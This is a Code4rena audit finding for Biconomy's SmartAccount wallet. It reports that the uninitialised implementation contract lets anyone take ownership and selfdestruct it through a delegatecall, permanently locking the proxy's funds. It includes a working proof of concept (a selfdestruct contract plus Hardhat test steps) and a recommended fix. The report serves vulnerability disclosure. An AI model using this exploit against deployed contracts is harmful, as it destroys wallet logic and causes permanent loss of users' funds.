Attacker can selfdestruct the code/logic of SmartAccount's implementation contract, leading to permanent loss of funds, of the owner of SmartAccount

[code423n4]

Lines of code

1. init() which gives ownership to attacker: https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166
2. execFromEntryPoint() which will be called, to delegate calls to malicious contract: https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L489

Vulnerability details

Vulnerability

The core issue is that the implementation contract of SmartAccount has NOT been initialised in its OWN context. Though it has been, in its Proxy's context. This gives anybody the ability to directly call SmartAccount.init() in its own context, and become owner of this implementation contract and set any value they wish to the _entryPoint variable. Now, they can call SmartAccount.execFromEntryPoint() which can delegate call to a malicious contract that can selfdestruct() itself. This results in the code of SmartAccount implementation contract getting destroyed forever, giving no chance for its Proxy to upgrade its logic, because the contract upgrade logic, i.e updateImplementation() function is defined in the destroyed implementation contract itself. This bug is very similar to the one in OpenZeppelin's UUPS proxies: https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680

Impact

Because the code or logic of the SmartAccount is destroyed forever with no possibility to upgrade it, all the funds that it held will be permanently lost, plus the smart contract wallet becomes completely unusable as its Proxy will essentially be delegating calls to an address with no executable code.

Proof of Concept

Add this malicious contract, Suicide.sol in contracts/smart-contract-wallet directory:

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.12;

/// @title Suicide - contract that selfdestructs itself
contract Suicide {
    address public attacker = 0x90F79bf6EB2c4f870365E785982E1f101E93b906;

    function explode() external {
        selfdestruct(payable(attacker));
    }
}

Add the following piece of code in testGroup1.ts on line 124 (https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/test/smart-wallet/testGroup1.ts#L124), to add implementation contract destroy logic to the test suite and see its consequence (P.S. refer diffchecker below for completely updated testGroup1.ts with initialisations etc.):

  ///////////////// SmartAccount's implementation contract destroy logic /////////////////

    // attacker calls init() on baseImpl to gain its ownership and set _entryPointAddress and
    // handler on SmartAccount to its own address
    await baseImpl
      .connect(attacker)
      .init(attacker.address, attacker.address, attacker.address);
    console.log("attacker address", attacker.address);
    console.log("baseImpl owner", await baseImpl.owner());

    // deploy malicious contract
    const Suicide = await ethers.getContractFactory("Suicide");
    suicide = await Suicide.deploy();
    await suicide.deployed();

    // create calldata to call Suicide.explode() using SmartAccount.execFromEntryPoint()
    let ABI = ["function explode()"];
    let iface = new ethers.utils.Interface(ABI);
    let callData = iface.encodeFunctionData("explode", []);

    // delegate call malicious contract to execute selfdestruct on SmartAccount implementation contract,
    // thereby destroying its code
    await baseImpl.connect(attacker).execFromEntryPoint(
      suicide.address,
      0,
      callData,
      ethers.BigNumber.from("1"), // Enum.Operation.DelegateCall
      "30000000"
    );
    //////////////////////////////////////////////////////////////////////////////////////////

Also find the diffchecker of testGroup1.ts original vs testGroup1.ts with POC here: https://www.diffchecker.com/cOE0nXaL/

As a result of this logic addition, all the tests that were initially passing, now fail with Error: call revert exception on every function call made to the SmartAccount proxy, as data="0x" on its implementation contract:

BEFORE

AFTER

Tools Used

Manual

Recommended Mitigation Steps

In SmartAccountFactory, add BaseSmartAccount(_defaultImpl).init(_owner, _entryPoint, _handler); in deployCounterFactualWallet() as:

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
        bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
        bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
            proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }
        require(address(proxy) != address(0), "Create2 call failed");
        // EOA + Version tracking
        emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
        BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
        BaseSmartAccount(_defaultImpl).init(_owner, _entryPoint, _handler);
        isAccountExist[proxy] = true;
    }

[c4-judge]

gzeon-c4 marked the issue as duplicate of #496

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory